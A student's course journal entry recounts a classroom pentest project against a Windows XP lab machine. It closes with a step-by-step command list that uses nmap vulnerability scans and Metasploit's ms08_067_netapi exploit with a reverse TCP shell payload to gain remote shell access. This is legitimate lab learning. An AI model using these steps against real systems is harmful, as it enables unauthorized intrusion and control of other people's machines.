420-321-VA Unix sect. 00001 Semester 3 Ibrahim El Zeftawy

Journal research 3

https://github.com/Ibrahimelz/ASPS.git

Friday 29th November 2024:

Last Friday, we finished the project, and the pentests were working fine. This week, we focused on preparing how we will present and demonstrate it in front of the class. Last week, we didn't check if the screenshot commands worked, but this week we tried and discovered that it's not possible with the MS08_067 vulnerability we were exploiting.

We attempted to use other vulnerabilities that allow taking screenshots, such as MS17_010, but Windows detected it even though Windows Defender was disabled. After searching online, I learned that this vulnerability targets something in Windows XP that doesn't exist in more recent Windows versions. So, we removed the screenshot commands.

We also modified the command nmap -p --script vuln [target machine's IP] -Pn to nmap -p 1-65535 --script vuln [target machine's IP] -Pn. It didn't work as it did last week. This week, when we tried again, it failed, so we added 1-65535 to scan all ports.

Technically, this week we reviewed and practiced the commands. We also planned to run the virtual machines from an SSD to demonstrate live in front of the class (since my laptop has trouble running the VMs). However, Kais encountered technical issues with the SSD. So, we decided to screen record ourselves performing the pentest on Windows XP. In class, we'll pause the video and explain each step in detail.

We're presenting on Tuesday. Even if the SSD worked, we couldn't use it because the lab class is on Friday. After recording, I edited the video to keep only the essential parts and cut out long waiting times when tools were loading or executing.

In the beginning, the project was vague. It was abstract, unclear where to start, which commands or tools to use, or which vulnerabilities to target. Over time, we realized we could do a lot with just a few tools. We didn't need as many tools as we initially thought. This experience taught us a lot, and I'm happy we chose this project. It's very interesting, and I would like to continue in this field in the future.

Final updated commands:

-**ifconfig or ip address show** // to know your own ip address

-**ping [target machine's ip]** // to check if the other machine is up (checks if the target machine is up and reachable)

-**nmap -sV [target machine's ip]** // scans the version of service (operation system) of the targeted machine

-**nmap -p 1-65535 --script vuln [target machine's ip] -Pn** // scans the target machine by running the "vuln" category of scripts to check for common vulnerabilities on the machine(scans the target machine to find out the version of the operating system and services running on it)

-**have the vulnerability's IDs: CVE which is CVE-2008-4250** //identify the vulnerability to work with by its Common Vulnerabilities and Exposures (CVE) ID, in this case, CVE-2008-4250.

-**sudo msfconsole**// the command to run metasploit

-**search CVE-2008-4250** // search the vulnerability found by nmap

-**take the name of the exploit which is 'exploit/windows/smb/ms08_067_netapi'** // the machine running is vulnerable to this exploit

-**use [exploit name]** // to go on that exploit to set it up to use it (load the exploit by entering its name)

-**show options** // shows the exploit's information for necessary actions to set up the exploit

-**set the RHOSTS and any other required setting** // set the target machine as the RHOST (remote host)

-**show payloads and choose the needed payload, in our case we tried using a shell payload named windows/shell_reverse_tcp** //the payload is the action to perform on the target machine, in this case is to take control of the shell by reverse tcp

- **'exploit' or 'run'** // Execute the exploit to perform the intended action on the target machine and voila, you have access to the victim's command shell as a powerful user